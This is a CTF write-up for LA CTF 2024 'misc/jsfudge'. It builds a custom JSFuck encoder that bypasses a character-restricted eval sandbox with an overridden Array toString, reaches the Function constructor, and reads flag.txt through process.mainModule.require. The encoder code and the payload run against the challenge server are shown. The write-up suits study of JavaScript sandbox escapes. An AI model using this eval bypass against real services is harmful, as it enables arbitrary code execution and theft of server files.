344 lines
13 KiB
Markdown
344 lines
13 KiB
Markdown
|
|
---
|
||
|
|
title: 'LA CTF 2024: misc/jsfudge'
|
||
|
|
date: 2024-02-21
|
||
|
|
tags: ['ctf', 'ctf-misc', 'javascript']
|
||
|
|
---
|
||
|
|
## Task
|
||
|
|
> **misc/jsfudge**
|
||
|
|
>
|
||
|
|
> JsFudge this JsFudge that, why don't you JsFudge the flag.
|
||
|
|
>
|
||
|
|
> `nc chall.lac.tf 31130`
|
||
|
|
>
|
||
|
|
> [`Dockerfile`](https://chall-files.lac.tf/uploads/84b3fd350b2a27736462269c6ede4a9adf00cf5aeb6653f36cc91608e6e80331/Dockerfile) [`index.js`](https://chall-files.lac.tf/uploads/4bc1377c69bfa58cdfe43e78aed7270001ecdc43fe3a57cf7d32f835fc832b9e/index.js)
|
||
|
|
|
||
|
|
- `Author: r2dev2`
|
||
|
|
- `Points: 486`
|
||
|
|
- `Solves: 31 / 1074 (2.886%)`
|
||
|
|
|
||
|
|
## Writeup
|
||
|
|
|
||
|
|
This challenge prompts us for some JavaScript code to be evaluated and printed, with the constraint that the code must only consist of the characters `()+[]!`.
|
||
|
|
|
||
|
|
It's pretty obvious that the challenge wants us to give it some JSFuck code, given the title and the fact that JSFuck also only uses `()+[]!`.
|
||
|
|
|
||
|
|
Using an online JSFuck compiler, let's compile the following code:
|
||
|
|
|
||
|
|
```js
|
||
|
|
require('fs').readFileSync('flag.txt')
|
||
|
|
// => [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[]) ... (7384 chars total)
|
||
|
|
```
|
||
|
|
Now let's try giving this to the program:
|
||
|
|
|
||
|
|
```console
|
||
|
|
$ xclip -o | node index.js
|
||
|
|
Gimme some js code to run
|
||
|
|
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'eundefinednsundefinedrundefinedeundefinedundefinedr')
|
||
|
|
at eval (eval at runCode (/tmp/index.js:3:88), <anonymous>:1:69)
|
||
|
|
at runCode (/tmp/index.js:3:88)
|
||
|
|
at /tmp/index.js:6:164
|
||
|
|
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
|
||
|
|
```
|
||
|
|
|
||
|
|
Well that's not what we wanted.
|
||
|
|
|
||
|
|
After a closer look at `index.js`, we notice that the `toString` method for arrays has been overwritten:
|
||
|
|
```js
|
||
|
|
// save the old array toString
|
||
|
|
const oldProto = [].__proto__.toString;
|
||
|
|
// replace it with a function that always returns '^w^'
|
||
|
|
[].__proto__.toString = () => '^w^';
|
||
|
|
// now converting any array to a string will return '^w^'
|
||
|
|
...
|
||
|
|
// eval our code
|
||
|
|
const codeRes = eval(code);
|
||
|
|
...
|
||
|
|
// restore array toString (not like it matters since the program will just exit after this anyways)
|
||
|
|
[].__proto__.toString = oldProto;
|
||
|
|
```
|
||
|
|
|
||
|
|
By default, converting an array to a string will result in the `toString` of each element joined by commas. Since JSFuck relies on this behavior, our compiled code does not function now that `[].__proto__.toString` has been overwritten.
|
||
|
|
|
||
|
|
We will have to implement our own JSFuck compiler, accounting for the new `toString`. However, we can copy many parts of the existing JSFuck compiler, as long as they do not rely on the value returned by `[].__proto__.toString`.
|
||
|
|
|
||
|
|
Let's start with some basic values:
|
||
|
|
|
||
|
|
```js
|
||
|
|
let vals = {
|
||
|
|
// unary ! converts the value to a bool, and arrays are truthy, so negating one gives us false
|
||
|
|
false: '![]',
|
||
|
|
// the negation of false is true
|
||
|
|
true: '!![]',
|
||
|
|
// unary + converts the value to a number
|
||
|
|
// [] is first converted to a string though
|
||
|
|
// +"^w^" => NaN
|
||
|
|
// if toString wasn't changed through, this would produce 0 instead
|
||
|
|
// (one of the changes messing up the default implementation of JSFuck here)
|
||
|
|
// +"" => 0
|
||
|
|
NaN: '+[]',
|
||
|
|
// create an empty array, access the property [].toString()
|
||
|
|
// []["^w^"] => undefined
|
||
|
|
undefined: '[][[]]',
|
||
|
|
// converting false to a number gives us 0
|
||
|
|
0: '+![]',
|
||
|
|
// converting true to a number gives us 1
|
||
|
|
1: '+!![]',
|
||
|
|
// 1 + 1 = 2
|
||
|
|
2: '+!![]+!![]',
|
||
|
|
// 1 + 1 + 1 = 3
|
||
|
|
3: '+!![]+!![]+!![]',
|
||
|
|
// etc.
|
||
|
|
4: '+!![]+!![]+!![]+!![]',
|
||
|
|
5: '+!![]+!![]+!![]+!![]+!![]',
|
||
|
|
6: '+!![]+!![]+!![]+!![]+!![]+!![]',
|
||
|
|
7: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
|
||
|
|
8: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
|
||
|
|
9: '+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]',
|
||
|
|
};
|
||
|
|
```
|
||
|
|
|
||
|
|
Let's also define ways to get specific characters:
|
||
|
|
|
||
|
|
```js
|
||
|
|
let chars = {
|
||
|
|
// (false + [])[0]
|
||
|
|
// => ("false" + "^w^")[0]
|
||
|
|
// => "false^w^"[0]
|
||
|
|
// => "f"
|
||
|
|
f: `(![]+[])[+![]]`,
|
||
|
|
// "false^w^"[1], etc.
|
||
|
|
a: `(![]+[])[+!![]]`,
|
||
|
|
l: `(![]+[])[!![]+!![]]`,
|
||
|
|
s: `(![]+[])[!![]+!![]+!![]]`,
|
||
|
|
e: `(!![]+[])[!![]+!![]+!![]]`,
|
||
|
|
// (true + [])[0]
|
||
|
|
// => "true^w^"[0], etc.
|
||
|
|
t: `(!![]+[])[+![]]`,
|
||
|
|
r: `(!![]+[])[+!![]]`,
|
||
|
|
u: `(!![]+[])[+!![]+!![]]`,
|
||
|
|
// (NaN + [])[0]
|
||
|
|
// => "NaN^w^"[0]
|
||
|
|
N: `(+[]+[])[+![]]`,
|
||
|
|
// (0 + [])[0]
|
||
|
|
// => "0^w^"[0], etc
|
||
|
|
0: `(${vals[0]}+[])[+![]]`,
|
||
|
|
1: `(${vals[1]}+[])[+![]]`,
|
||
|
|
2: `(${vals[2]}+[])[+![]]`,
|
||
|
|
3: `(${vals[3]}+[])[+![]]`,
|
||
|
|
4: `(${vals[4]}+[])[+![]]`,
|
||
|
|
5: `(${vals[5]}+[])[+![]]`,
|
||
|
|
6: `(${vals[6]}+[])[+![]]`,
|
||
|
|
7: `(${vals[7]}+[])[+![]]`,
|
||
|
|
8: `(${vals[8]}+[])[+![]]`,
|
||
|
|
9: `(${vals[9]}+[])[+![]]`,
|
||
|
|
};
|
||
|
|
```
|
||
|
|
|
||
|
|
Now let's define a function to generate code to produce a string, by obtaining each character and concatenating:
|
||
|
|
|
||
|
|
```js
|
||
|
|
function str(s) {
|
||
|
|
return s.split('').map(e => chars[e] ?? (console.log('undefined char:', e), process.exit(-1))).join('+')
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
Now that we can generate some strings, our next goal is to be able to execute strings as code. We can do this through the `Function` constructor, which takes a string argument and returns a function that executes the string when called. To obtain `Function` though, we will need a couple more characters.
|
||
|
|
|
||
|
|
```js
|
||
|
|
// []['flat'] + []
|
||
|
|
// => (array.flat function) + []
|
||
|
|
// => 'function flat() { [native code] }' + '^w^'
|
||
|
|
// => 'function flat() { [native code] }^w^'
|
||
|
|
flat = `([][${str('flat')}]+[])`;
|
||
|
|
// 'function flat() { [native code] }^w^'[2], etc.
|
||
|
|
chars.n = flat + `[${vals[2]}]`;
|
||
|
|
chars.c = flat + `[${vals[3]}]`;
|
||
|
|
chars.o = flat + `[${vals[6]}]`;
|
||
|
|
// now we can spell 'constructor', but we will also need i, (, and ) for later
|
||
|
|
chars.i = flat + `[${vals[5]}]`;
|
||
|
|
chars['('] = flat + `[${str('13')}]`;
|
||
|
|
chars[')'] = flat + `[${str('14')}]`;
|
||
|
|
// []['flat']['constructor']
|
||
|
|
// => (array.flat function).constructor
|
||
|
|
// => Function
|
||
|
|
vals[Function] = `[][${str('flat')}][${str('constructor')}]`;
|
||
|
|
// we might as well get the Number and String constructors as well now, as we'll need them later too
|
||
|
|
// '^w^^w^'.constructor
|
||
|
|
vals[String] = `([]+[])[${str('constructor')}]`;
|
||
|
|
// NaN.constructor
|
||
|
|
vals[Number] = `(+[])[${str('constructor')}]`;
|
||
|
|
|
||
|
|
// now we can generate code that executes a given string
|
||
|
|
function call(code) {
|
||
|
|
return `${vals[Function]}(${str(code)})()`
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
We only need a few more characters to execute `require("fs").readFileSync("flag.txt")`:
|
||
|
|
|
||
|
|
```js
|
||
|
|
// '^w^^w^'.fontcolor
|
||
|
|
// this function does the following:
|
||
|
|
// "string".fontcolor("blue") => '<font color="blue">string</font>'
|
||
|
|
fontcolor = `([]+[])[${str('fontcolor')}]`;
|
||
|
|
// '<font color="undefined">^w^</font>'[12]
|
||
|
|
chars['"'] = `${fontcolor}()[${str('12')}]`;
|
||
|
|
// '<font color=""">^w^</font>'[14]
|
||
|
|
chars.q = `${fontcolor}(${chars['"']})[${str('14')}]`;
|
||
|
|
// 'function String() { [native code] }^w^'[14]
|
||
|
|
chars.g = `(${vals[String]}+[])[${str('14')}]`;
|
||
|
|
// (+"11e20" + [])[1]
|
||
|
|
// => (1.1e21 + [])[1]
|
||
|
|
// => "1.1e21^w^"[1]
|
||
|
|
chars['.'] = `(+(${str('11e20')})+[])[${vals[1]}]`;
|
||
|
|
// "undefined^w^"[2]
|
||
|
|
chars.d = `(${vals[undefined]}+[])[${vals[2]}]`;
|
||
|
|
// (+"1e1000" + [])[7]
|
||
|
|
// => (1e1000 + [])[7]
|
||
|
|
// => (Infinity + [])[7]
|
||
|
|
// => "Infinity^w^"[7]
|
||
|
|
chars.y = `(+(${str('1e1000')})+[])[${vals[7]}]`;
|
||
|
|
// 'function String() { [native code] }^w^'[9]
|
||
|
|
chars.S = `(${vals[String]}+[])[${vals[9]}]`;
|
||
|
|
// 'function Function() { [native code] }^w^'[9]
|
||
|
|
chars.F = `(${vals[Function]}+[])[${vals[9]}]`;
|
||
|
|
// (+"101").toString("34")[1]
|
||
|
|
// => (101).toString(34)[1]
|
||
|
|
// => "2x"[1]
|
||
|
|
// (2x is 101 in base 34)
|
||
|
|
chars.x = `(+(${str('101')}))[${str('toString')}](${str('34')})[${vals[1]}]`;
|
||
|
|
// now we have all the characters we need
|
||
|
|
// we can't rely on the console.log in index.js though, since we are running this code in a function
|
||
|
|
// we would need to prefix this with "return " if we wanted to use that console.log,
|
||
|
|
// but that would require us to get an extra character, the space after return
|
||
|
|
console.log(call(`console.log(require("fs").readFileSync("flag.txt"))`));
|
||
|
|
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (11534 chars total)
|
||
|
|
```
|
||
|
|
|
||
|
|
Running our program now will generate JSFuck code to print the flag. Let's pipe this into the challenge and get our flag:
|
||
|
|
|
||
|
|
```console
|
||
|
|
$ node jsfuck.js | nc chall.lac.tf 31130
|
||
|
|
Gimme some js code to run
|
||
|
|
oopsie woopsie stinki poopie ReferenceError: require is not defined
|
||
|
|
at eval (eval at <anonymous> (eval at runCode (/app/run:16:21)), <anonymous>:3:9)
|
||
|
|
at eval (eval at runCode (/app/run:16:21), <anonymous>:1:11532)
|
||
|
|
at runCode (/app/run:16:21)
|
||
|
|
at /app/run:31:5
|
||
|
|
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
|
||
|
|
```
|
||
|
|
|
||
|
|
We get another error, saying that `require` is not defined. That's odd, is `require` not able to used in an `eval` statement?
|
||
|
|
|
||
|
|
```console
|
||
|
|
$ node
|
||
|
|
Welcome to Node.js v21.6.1.
|
||
|
|
Type ".help" for more information.
|
||
|
|
> eval('require')
|
||
|
|
[Function: require] {
|
||
|
|
resolve: [Function: resolve] { paths: [Function: paths] },
|
||
|
|
main: undefined,
|
||
|
|
extensions: [Object: null prototype] {
|
||
|
|
'.js': [Function (anonymous)],
|
||
|
|
'.json': [Function (anonymous)],
|
||
|
|
'.node': [Function (anonymous)]
|
||
|
|
},
|
||
|
|
cache: [Object: null prototype] {}
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
Nope, this works just fine. Maybe it's the call to the `Function` constructor that is preventing `require` from being accessed.
|
||
|
|
|
||
|
|
```console
|
||
|
|
> eval('new Function("return require")()')
|
||
|
|
[Function: require] {
|
||
|
|
resolve: [Function: resolve] { paths: [Function: paths] },
|
||
|
|
main: undefined,
|
||
|
|
extensions: [Object: null prototype] {
|
||
|
|
'.js': [Function (anonymous)],
|
||
|
|
'.json': [Function (anonymous)],
|
||
|
|
'.node': [Function (anonymous)]
|
||
|
|
},
|
||
|
|
cache: [Object: null prototype] {}
|
||
|
|
}
|
||
|
|
```
|
||
|
|
|
||
|
|
This also doesn't seem to be a problem.
|
||
|
|
|
||
|
|
What's happening here is very subtle. In Node.js, although `require` appears to be part of the global scope, it actually belongs to the module scope. When a module is executed, it is wrapped into the following function to provide the values in module scope:
|
||
|
|
|
||
|
|
```js
|
||
|
|
(function(exports, require, module, __filename, __dirname) {
|
||
|
|
// Module code actually lives in here
|
||
|
|
});
|
||
|
|
```
|
||
|
|
|
||
|
|
For functions created with the `Function` constructor, the code is run in the global scope, so the module scope is not available.
|
||
|
|
|
||
|
|
So why were we able to get `require` in the code above? When Node.js is either run as a REPL or by piping a script into `node`, `require` is added to the global scope, letting us use it in code run through the `Function` constructor. (This caused me a lot of trouble since I was using a REPL to test my code). We can see this in action by running the following commands:
|
||
|
|
|
||
|
|
```console
|
||
|
|
$ echo "console.log(global.require === require)" > /tmp/test.js
|
||
|
|
$ cat /tmp/test.js | node
|
||
|
|
true
|
||
|
|
$ node /tmp/test.js
|
||
|
|
false
|
||
|
|
$ node
|
||
|
|
Welcome to Node.js v21.6.1.
|
||
|
|
Type ".help" for more information.
|
||
|
|
> global.require === require
|
||
|
|
true
|
||
|
|
```
|
||
|
|
|
||
|
|
So if we are unable to access `require` directly, is all hope lost?
|
||
|
|
|
||
|
|
It turns out that we can still access `require` through `process.mainModule.require`, requiring us to get some more characters:
|
||
|
|
|
||
|
|
```js
|
||
|
|
// (+"211").toString("31")[1]
|
||
|
|
// => (211).toString(31)[1]
|
||
|
|
// => "6p"[1]
|
||
|
|
chars.p = `(+(${str('211')}))[${str('toString')}](${str('31')})[${vals[1]}]`;
|
||
|
|
// "function Number() { [native code] }^w^"[11]
|
||
|
|
chars.m = `(${vals[Number]}+[])[${str('11')}]`;
|
||
|
|
// "function flat() { [native code] }^w^"[8]
|
||
|
|
chars[' '] = `([][${str('flat')}]+[])[${vals[8]}]`;
|
||
|
|
// Function("return escape")()([]["flat"])["54"]
|
||
|
|
// => escape([].flat)[54]
|
||
|
|
// => escape("function flat() { [native code] }")[54]
|
||
|
|
// => "function%20flat%28%29%20%7B%20%5Bnative%20code%5D%20%7D"[54]
|
||
|
|
// => "D"
|
||
|
|
chars.D = `${call('return escape')}([][${str('flat')}])[${str('54')}]`;
|
||
|
|
// Function("return Date")()()["26"]
|
||
|
|
// => Date()[26]
|
||
|
|
// => "Sun Feb 18 2024 00:00:00 GMT-0600 (Central Standard Time)"[26]
|
||
|
|
// (the part before "M" is always the same length, regardless of the actual date)
|
||
|
|
// => "M"
|
||
|
|
chars.M = `${call('return Date')}()[${str('26')}]`;
|
||
|
|
|
||
|
|
console.log(call(`console.log(process.mainModule.require("fs").readFileSync("flag.txt"))`));
|
||
|
|
// [][(![]+[])[+![]]+(![]+[])[!![]+!![]]+(![]+[] ... (19114 chars total)
|
||
|
|
```
|
||
|
|
|
||
|
|
Finally, we can generate code that will actually work:
|
||
|
|
|
||
|
|
```console
|
||
|
|
$ node jsfuck.js | nc chall.lac.tf 31130
|
||
|
|
Gimme some js code to run
|
||
|
|
<Buffer 6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a>
|
||
|
|
oopsie woopsie stinki poopie TypeError: Cannot read properties of undefined (reading 'toString')
|
||
|
|
at runCode (/app/run:17:25)
|
||
|
|
at /app/run:31:5
|
||
|
|
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
|
||
|
|
$ echo "6c 61 63 74 66 7b 64 30 5f 79 30 75 5f 66 33 33 31 5f 70 72 30 75 64 7d 0a" | xxd -r -p
|
||
|
|
lactf{d0_y0u_f331_pr0ud}
|
||
|
|
```
|
||
|
|
|
||
|
|
Decoding the hex bytes of the buffer, we get the flag: `lactf{d0_y0u_f331_pr0ud}`
|
||
|
|
|
||
|
|
## Reference
|
||
|
|
- [JSFuck](https://jsfuck.com/)
|
||
|
|
- [JSFuck source](https://github.com/aemkei/jsfuck/blob/main/jsfuck.js)
|
||
|
|
- [Node module wrapper](https://nodejs.org/docs/latest/api/modules.html#the-module-wrapper)
|
||
|
|
- [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function)
|